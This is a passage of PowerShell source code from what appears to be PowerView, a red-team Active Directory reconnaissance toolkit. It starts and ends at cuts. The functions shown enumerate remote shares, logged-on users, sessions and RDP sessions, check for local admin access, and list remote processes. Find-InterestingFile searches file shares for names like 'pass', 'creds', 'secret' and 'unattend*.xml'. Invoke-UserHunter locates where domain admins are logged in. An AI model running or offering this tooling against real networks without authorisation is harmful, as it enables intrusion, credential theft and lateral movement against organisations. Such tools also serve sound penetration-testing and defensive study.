$IsDomain) { try { $_.GetType().InvokeMember('AccountDisabled', 'GetProperty', $Null, $_, $Null) } catch { 'ERROR' } } else { $False } ) + + # check if the member is a group + $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + if($IsGroup) { + $Member | Add-Member Noteproperty 'LastLogin' "" + } + else { + try { + $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) + } + catch { + $Member | Add-Member Noteproperty 'LastLogin' "" + } + } + $Member + + # if the result is a group domain object and we're recursing, + # try to resolve all the group member results + if($Recurse -and $IsDomain -and $IsGroup) { + + $FQDN = $Name.split("/")[0] + $GroupName = $Name.split("/")[1].trim() + + Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { + + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'Server' $Name + + $MemberDN = $_.distinguishedName + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + + if ($_.samAccountType -ne "805306368") { + $MemberIsGroup = $True + } + else { + $MemberIsGroup = $False + } + + if ($_.samAccountName) { + # forest users have the samAccountName set + $MemberName = $_.samAccountName + } + else { + try { + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $_.cn + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $_.cn + } + } + catch { + Write-Debug "Error resolving SID : $_" + } + } + + $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" + $Member | Add-Member Noteproperty 'SID' $_.objectsid + $Member | Add-Member Noteproperty 'Disabled' $False + $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup + $Member | Add-Member Noteproperty 'IsDomain' $True + $Member | Add-Member Noteproperty 'LastLogin' '' + $Member + } + } + } + } + } + catch { + Write-Warning "[!] Error: $_" + } + } + } +} + + +function Get-NetShare { +<# + .SYNOPSIS + + This function will execute the NetShareEnum Win32API call to query + a given host for open shares. This is a replacement for + "net share \\hostname" + + .PARAMETER ComputerName + + The hostname to query for shares. Also accepts IP addresses. + + .OUTPUTS + + SHARE_INFO_1 structure. A representation of the SHARE_INFO_1 + result structure which includes the name and note for each share. + + .EXAMPLE + + PS C:\> Get-NetShare + + Returns active shares on the local host. + + .EXAMPLE + + PS C:\> Get-NetShare -ComputerName sqlserver + + Returns active shares on the 'sqlserver' host +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost' + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + } + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + # arguments for NetShareEnum + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the share information + $Result = $Netapi32::NetShareEnum($ComputerName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + Write-Debug "Get-NetShare result: $Result" + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $SHARE_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SHARE_INFO_1 + # return all the sections of the structure + $Info | Select-Object * + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} + } + } + } +} + + +function Get-NetLoggedon { +<# + .SYNOPSIS + + This function will execute the NetWkstaUserEnum Win32API call to query + a given host for actively logged on users. + + .PARAMETER ComputerName + + The hostname to query for logged on users. + + .OUTPUTS + + WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1 + result structure which includes the username and domain of logged on users. + + .EXAMPLE + + PS C:\> Get-NetLoggedon + + Returns users actively logged onto the local host. + + .EXAMPLE + + PS C:\> Get-NetLoggedon -ComputerName sqlserver + + Returns users actively logged onto the 'sqlserver' host. + + .LINK + + http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost' + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + } + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + # Declare the reference variables + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get logged on user information + $Result = $Netapi32::NetWkstaUserEnum($ComputerName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + Write-Debug "Get-NetLoggedon result: $Result" + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $WKSTA_USER_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 + + # return all the sections of the structure + $Info | Select-Object * + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} + } + } + } +} + + +function Get-NetSession { +<# + .SYNOPSIS + + This function will execute the NetSessionEnum Win32API call to query + a given host for active sessions on the host. + Heavily adapted from dunedinite's post on stackoverflow (see LINK below) + + .PARAMETER ComputerName + + The ComputerName to query for active sessions. + + .PARAMETER UserName + + The user name to filter for active sessions. + + .OUTPUTS + + SESSION_INFO_10 structure. A representation of the SESSION_INFO_10 + result structure which includes the host and username associated + with active sessions. + + .EXAMPLE + + PS C:\> Get-NetSession + + Returns active sessions on the local host. + + .EXAMPLE + + PS C:\> Get-NetSession -ComputerName sqlserver + + Returns active sessions on the 'sqlserver' host. + + .LINK + + http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost', + + [String] + $UserName = '' + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + } + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + # arguments for NetSessionEnum + $QueryLevel = 10 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get session information + $Result = $Netapi32::NetSessionEnum($ComputerName, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + Write-Debug "Get-NetSession result: $Result" + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $SESSION_INFO_10::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SESSION_INFO_10 + + # return all the sections of the structure + $Info | Select-Object * + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} + } + } + } +} + + +function Get-NetRDPSession { +<# + .SYNOPSIS + + This function will execute the WTSEnumerateSessionsEx and + WTSQuerySessionInformation Win32API calls to query a given + RDP remote service for active sessions and originating IPs. + This is a replacement for qwinsta. + + Note: only members of the Administrators or Account Operators local group + can successfully execute this functionality on a remote target. + + .PARAMETER ComputerName + + The hostname to query for active RDP sessions. + + .EXAMPLE + + PS C:\> Get-NetRDPSession + + Returns active RDP/terminal sessions on the local host. + + .EXAMPLE + + PS C:\> Get-NetRDPSession -ComputerName "sqlserver" + + Returns active RDP/terminal sessions on the 'sqlserver' host. +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = 'localhost' + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + } + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + # open up a handle to the Remote Desktop Session host + $Handle = $Wtsapi32::WTSOpenServerEx($ComputerName) + + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { + + Write-Debug "WTSOpenServerEx handle: $Handle" + + # arguments for WTSEnumerateSessionsEx + $ppSessionInfo = [IntPtr]::Zero + $pCount = 0 + + # get information on all current sessions + $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount) + + # Locate the offset of the initial intPtr + $Offset = $ppSessionInfo.ToInt64() + + Write-Debug "WTSEnumerateSessionsEx result: $Result" + Write-Debug "pCount: $pCount" + + if (($Result -ne 0) -and ($Offset -gt 0)) { + + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $WTS_SESSION_INFO_1::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $pCount); $i++) { + + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 + + $RDPSession = New-Object PSObject + + if ($Info.pHostName) { + $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName + } + else { + # if no hostname returned, use the specified hostname + $RDPSession | Add-Member Noteproperty 'ComputerName' $ComputerName + } + + $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName + + if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { + # if a domain isn't returned just use the username + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" + } + else { + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" + } + + $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID + $RDPSession | Add-Member Noteproperty 'State' $Info.State + + $ppBuffer = [IntPtr]::Zero + $pBytesReturned = 0 + + # query for the source client IP with WTSQuerySessionInformation + # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx + $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned) + + $Offset2 = $ppBuffer.ToInt64() + $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 + $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS + + $SourceIP = $Info2.Address + if($SourceIP[2] -ne 0) { + $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5] + } + else { + $SourceIP = $Null + } + + $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP + $RDPSession + + # free up the memory buffer + $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) + + $Offset += $Increment + } + # free up the memory result buffer + $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) + } + # Close off the service handle + $Null = $Wtsapi32::WTSCloseServer($Handle) + } + else { + # otherwise it failed - get the last error + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx + $Err = $Kernel32::GetLastError() + Write-Verbuse "LastError: $Err" + } + } +} + + +function Invoke-CheckLocalAdminAccess { +<# + .SYNOPSIS + + This function will use the OpenSCManagerW Win32API call to to establish + a handle to the remote host. If this succeeds, the current user context + has local administrator acess to the target. + + Idea stolen from the local_admin_search_enum post module in Metasploit written by: + 'Brandon McCann "zeknox" ' + 'Thomas McCarthy "smilingraccoon" ' + 'Royce Davis "r3dy" ' + + .PARAMETER ComputerName + + The hostname to query for active sessions. + + .OUTPUTS + + $True if the current user has local admin access to the hostname, $False otherwise + + .EXAMPLE + + PS C:\> Invoke-CheckLocalAdminAccess -ComputerName sqlserver + + Returns active sessions on the local host. + + .LINK + + https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/local_admin_search_enum.rb + http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + [Alias('HostName')] + $ComputerName = 'localhost' + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + } + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + # 0xF003F - SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + $Handle = $Advapi32::OpenSCManagerW("\\$ComputerName", 'ServicesActive', 0xF003F) + + Write-Debug "Invoke-CheckLocalAdminAccess handle: $Handle" + + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { + # Close off the service handle + $Null = $Advapi32::CloseServiceHandle($Handle) + $True + } + else { + # otherwise it failed - get the last error + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx + $Err = $Kernel32::GetLastError() + Write-Debug "Invoke-CheckLocalAdminAccess LastError: $Err" + $False + } + } +} + + +function Get-LastLoggedOn { +<# + .SYNOPSIS + + This function uses remote registry functionality to return + the last user logged onto a target machine. + + Note: This function requires administrative rights on the + machine you're enumerating. + + .PARAMETER ComputerName + + The hostname to query for open files. Defaults to the + local host name. + + .OUTPUTS + + The last loggedon user name, or $Null if the enumeration fails. + + .EXAMPLE + + PS C:\> Get-LastLoggedOn + + Returns the last user logged onto the local machine. + + .EXAMPLE + + PS C:\> Get-LastLoggedOn -ComputerName WINDOWS1 + + Returns the last user logged onto WINDOWS1 +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + [Alias('HostName')] + $ComputerName = "." + ) + + process { + + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + + # try to open up the remote registry key to grab the last logged on user + try { + $Reg = [WMIClass]"\\$ComputerName\root\default:stdRegProv" + $HKLM = 2147483650 + $Key = "SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" + $Value = "LastLoggedOnUser" + $Reg.GetStringValue($HKLM, $Key, $Value).sValue + } + catch { + Write-Warning "[!] Error opening remote registry on $ComputerName. Remote registry likely not enabled." + $Null + } + } +} + + +function Get-NetProcess { +<# + .SYNOPSIS + + Gets a list of processes/owners on a remote machine. + + .PARAMETER ComputerName + + The hostname to query processes. Defaults to the local host name. + + .PARAMETER RemoteUserName + + The "domain\username" to use for the WMI call on a remote system. + If supplied, 'RemotePassword' must be supplied as well. + + .PARAMETER RemotePassword + + The password to use for the WMI call on a remote system. + + .EXAMPLE + + PS C:\> Get-NetProcess -ComputerName WINDOWS1 + + Returns the current processes for WINDOWS1 +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $ComputerName, + + [String] + $RemoteUserName, + + [String] + $RemotePassword + ) + + process { + + if($ComputerName) { + # process multiple host object types from the pipeline + $ComputerName = Get-NameField -Object $ComputerName + } + else { + # default to the local hostname + $ComputerName = [System.Net.Dns]::GetHostName() + } + + $Credential = $Null + + if($RemoteUserName) { + if($RemotePassword) { + $Password = $RemotePassword | ConvertTo-SecureString -AsPlainText -Force + $Credential = New-Object System.Management.Automation.PSCredential($RemoteUserName,$Password) + + # try to enumerate the processes on the remote machine using the supplied credential + try { + Get-WMIobject -Class Win32_process -ComputerName $ComputerName -Credential $Credential | ForEach-Object { + $Owner = $_.getowner(); + $Process = New-Object PSObject + $Process | Add-Member Noteproperty 'ComputerName' $ComputerName + $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName + $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID + $Process | Add-Member Noteproperty 'Domain' $Owner.Domain + $Process | Add-Member Noteproperty 'User' $Owner.User + $Process + } + } + catch { + Write-Verbose "[!] Error enumerating remote processes, access likely denied: $_" + } + } + else { + Write-Warning "[!] RemotePassword must also be supplied!" + } + } + else { + # try to enumerate the processes on the remote machine + try { + Get-WMIobject -Class Win32_process -ComputerName $ComputerName | ForEach-Object { + $Owner = $_.getowner(); + $Process = New-Object PSObject + $Process | Add-Member Noteproperty 'ComputerName' $ComputerName + $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName + $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID + $Process | Add-Member Noteproperty 'Domain' $Owner.Domain + $Process | Add-Member Noteproperty 'User' $Owner.User + $Process + } + } + catch { + Write-Verbose "[!] Error enumerating remote processes, access likely denied: $_" + } + } + } +} + + +function Find-InterestingFile { +<# + .SYNOPSIS + + This function recursively searches a given UNC path for files with + specific keywords in the name (default of pass, sensitive, secret, admin, + login and unattend*.xml). The output can be piped out to a csv with the + -OutFile flag. By default, hidden files/folders are included in search results. + + .PARAMETER Path + + UNC/local path to recursively search. + + .PARAMETER Terms + + Terms to search for. + + .PARAMETER OfficeDocs + + Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) + + .PARAMETER FreshEXEs + + Switch. Find .EXEs accessed within the last week. + + .PARAMETER LastAccessTime + + Only return files with a LastAccessTime greater than this date value. + + .PARAMETER LastWriteTime + + Only return files with a LastWriteTime greater than this date value. + + .PARAMETER CreationTime + + Only return files with a CreationTime greater than this date value. + + .PARAMETER ExcludeFolders + + Switch. Exclude folders from the search results. + + .PARAMETER ExcludeHidden + + Switch. Exclude hidden files and folders from the search results. + + .PARAMETER CheckWriteAccess + + Switch. Only returns files the current user has write access to. + + .PARAMETER OutFile + + Output results to a specified csv output file. + + .PARAMETER UsePSDrive + + Switch. Mount target remote path with temporary PSDrives. + + .PARAMETER Credential + + Credential to use to mount the PSDrive for searching. + + .OUTPUTS + + The full path, owner, lastaccess time, lastwrite time, and size for each found file. + + .EXAMPLE + + PS C:\> Find-InterestingFile -Path C:\Backup\ + + Returns any files on the local path C:\Backup\ that have the default + search term set in the title. + + .EXAMPLE + + PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -Terms salaries,email -OutFile out.csv + + Returns any files on the remote path \\WINDOWS7\Users\ that have 'salaries' + or 'email' in the title, and writes the results out to a csv file + named 'out.csv' + + .EXAMPLE + + PS C:\> Find-InterestingFile -Path \\WINDOWS7\Users\ -LastAccessTime (Get-Date).AddDays(-7) + + Returns any files on the remote path \\WINDOWS7\Users\ that have the default + search term set in the title and were accessed within the last week. + + .LINK + + http://www.harmj0y.net/blog/redteaming/file-server-triage-on-red-team-engagements/ +#> + + [CmdletBinding()] + param( + [Parameter(ValueFromPipeline=$True)] + [String] + $Path = '.\', + + [String[]] + $Terms, + + [Switch] + $OfficeDocs, + + [Switch] + $FreshEXEs, + + [String] + $LastAccessTime, + + [String] + $LastWriteTime, + + [String] + $CreationTime, + + [Switch] + $ExcludeFolders, + + [Switch] + $ExcludeHidden, + + [Switch] + $CheckWriteAccess, + + [String] + $OutFile, + + [Switch] + $UsePSDrive, + + [System.Management.Automation.PSCredential] + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + begin { + # default search terms + $SearchTerms = @('pass', 'sensitive', 'admin', 'login', 'secret', 'unattend*.xml', '.vmdk', 'creds', 'credential', '.config') + + if(!$Path.EndsWith('\')) { + $Path = $Path + '\' + } + if($Credential -ne [System.Management.Automation.PSCredential]::Empty) { $UsePSDrive = $True } + + # check if custom search terms were passed + if ($Terms) { + if($Terms -isnot [system.array]) { + $Terms = @($Terms) + } + $SearchTerms = $Terms + } + + if(-not $SearchTerms[0].startswith("*")) { + # append wildcards to the front and back of all search terms + for ($i = 0; $i -lt $SearchTerms.Count; $i++) { + $SearchTerms[$i] = "*$($SearchTerms[$i])*" + } + } + + # search just for office documents if specified + if ($OfficeDocs) { + $SearchTerms = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') + } + + # find .exe's accessed within the last 7 days + if($FreshEXEs) { + # get an access time limit of 7 days ago + $LastAccessTime = (get-date).AddDays(-7).ToString('MM/dd/yyyy') + $SearchTerms = '*.exe' + } + + if($UsePSDrive) { + # if we're PSDrives, create a temporary mount point + $Parts = $Path.split('\') + $FolderPath = $Parts[0..($Parts.length-2)] -join '\' + $FilePath = $Parts[-1] + $RandDrive = ("abcdefghijklmnopqrstuvwxyz".ToCharArray() | Get-Random -Count 7) -join '' + + Write-Verbose "Mounting path $Path using a temp PSDrive at $RandDrive" + + try { + $Null = New-PSDrive -Name $RandDrive -Credential $Credential -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + catch { + Write-Debug "Error mounting path $Path : $_" + return $Null + } + + # so we can cd/dir the new drive + $Path = $RandDrive + ":\" + $FilePath + } + } + + process { + + Write-Verbose "[*] Search path $Path" + + function Invoke-CheckWrite { + # short helper to check is the current user can write to a file + [CmdletBinding()]param([String]$Path) + try { + $Filetest = [IO.FILE]::OpenWrite($Path) + $Filetest.Close() + $True + } + catch { + Write-Verbose -Message $Error[0] + $False + } + } + + $SearchArgs = @{ + 'Path' = $Path + 'Recurse' = $True + 'Force' = $(-not $ExcludeHidden) + 'Include' = $SearchTerms + 'ErrorAction' = 'SilentlyContinue' + } + + Get-ChildItem @SearchArgs | ForEach-Object { + Write-Verbose $_ + # check if we're excluding folders + if(!$ExcludeFolders -or !$_.PSIsContainer) {$_} + } | ForEach-Object { + if($LastAccessTime -or $LastWriteTime -or $CreationTime) { + if($LastAccessTime -and ($_.LastAccessTime -gt $LastAccessTime)) {$_} + elseif($LastWriteTime -and ($_.LastWriteTime -gt $LastWriteTime)) {$_} + elseif($CreationTime -and ($_.CreationTime -gt $CreationTime)) {$_} + } + else {$_} + } | ForEach-Object { + # filter for write access (if applicable) + if((-not $CheckWriteAccess) -or (Invoke-CheckWrite -Path $_.FullName)) {$_} + } | Select-Object FullName,@{Name='Owner';Expression={(Get-Acl $_.FullName).Owner}},LastAccessTime,LastWriteTime,CreationTime,Length | ForEach-Object { + # check if we're outputting to the pipeline or an output file + if($OutFile) {Export-PowerViewCSV -InputObject $_ -OutFile $OutFile} + else {$_} + } + } + + end { + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive + } + } +} + + +######################################################## +# +# 'Meta'-functions start below +# +######################################################## + +function Invoke-ThreadedFunction { + # Helper used by any threaded host enumeration functions + [CmdletBinding()] + param( + [Parameter(Position=0,Mandatory=$True)] + [String[]] + $ComputerName, + + [Parameter(Position=1,Mandatory=$True)] + [System.Management.Automation.ScriptBlock] + $ScriptBlock, + + [Parameter(Position=2)] + [Hashtable] + $ScriptParameters, + + [Int] + $Threads = 20, + + [Switch] + $NoImports + ) + + begin { + + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + Write-Verbose "[*] Total number of hosts: $($ComputerName.count)" + + # Adapted from: + # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ + $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() + $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() + + # import the current session state's variables and functions so the chained PowerView + # functionality can be used by the threaded blocks + if(!$NoImports) { + + # grab all the current variables for this runspace + $MyVars = Get-Variable -Scope 2 + + # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice + $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") + + # Add Variables from Parent Scope (current runspace) into the InitialSessionState + ForEach($Var in $MyVars) { + if($VorbiddenVars -NotContains $Var.Name) { + $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) + } + } + + # Add Functions from current runspace to the InitialSessionState + ForEach($Function in (Get-ChildItem Function:)) { + $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) + } + } + + # threading adapted from + # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 + # Thanks Carlos! + + # create a pool of maxThread runspaces + $Pool = [runspacefactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) + $Pool.Open() + + $Jobs = @() + $PS = @() + $Wait = @() + + $Counter = 0 + } + + process { + + ForEach ($Computer in $ComputerName) { + + # make sure we get a server name + if ($Computer -ne '') { + # Write-Verbose "[*] Enumerating server $Computer ($($Counter+1) of $($ComputerName.count))" + + While ($($Pool.GetAvailableRunspaces()) -le 0) { + Start-Sleep -MilliSeconds 500 + } + + # create a "powershell pipeline runner" + $PS += [powershell]::create() + + $PS[$Counter].runspacepool = $Pool + + # add the script block + arguments + $Null = $PS[$Counter].AddScript($ScriptBlock).AddParameter('ComputerName', $Computer) + if($ScriptParameters) { + ForEach ($Param in $ScriptParameters.GetEnumerator()) { + $Null = $PS[$Counter].AddParameter($Param.Name, $Param.Value) + } + } + + # start job + $Jobs += $PS[$Counter].BeginInvoke(); + + # store wait handles for WaitForAll call + $Wait += $Jobs[$Counter].AsyncWaitHandle + } + $Counter = $Counter + 1 + } + } + + end { + + Write-Verbose "Waiting for scanning threads to finish..." + + $WaitTimeout = Get-Date + + # set a 60 second timeout for the scanning threads + while ($($Jobs | Where-Object {$_.IsCompleted -eq $False}).count -gt 0 -or $($($(Get-Date) - $WaitTimeout).totalSeconds) -gt 60) { + Start-Sleep -MilliSeconds 500 + } + + # end async call + for ($y = 0; $y -lt $Counter; $y++) { + + try { + # complete async job + $PS[$y].EndInvoke($Jobs[$y]) + + } catch { + Write-Warning "error: $_" + } + finally { + $PS[$y].Dispose() + } + } + + $Pool.Dispose() + Write-Verbose "All threads completed!" + } +} + + +function Invoke-UserHunter { +<# + .SYNOPSIS + + Finds which machines users of a specified group are logged into. + + Author: @harmj0y + License: BSD 3-Clause + + .DESCRIPTION + + This function finds the local domain name for a host using Get-NetDomain, + queries the domain for users of a specified group (default "domain admins") + with Get-NetGroupMember or reads in a target user list, queries the domain for all + active machines with Get-NetComputer or reads in a pre-populated host list, + randomly shuffles the target list, then for each server it gets a list of + active users with Get-NetSession/Get-NetLoggedon. The found user list is compared + against the target list, and a status message is displayed for any hits. + The flag -CheckAccess will check each positive host to see if the current + user has local admin access to the machine. + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Unconstrained + + Switch. Only enumerate computers that have unconstrained delegation. + + .PARAMETER GroupName + + Group name to query for target users. + + .PARAMETER TargetServer + + Hunt for users who are effective local admins on a target server. + + .PARAMETER UserName + + Specific username to search for. + + .PARAMETER UserFilter + + A customized ldap filter string to use for user enumeration, e.g. "(description=*admin*)" + + .PARAMETER 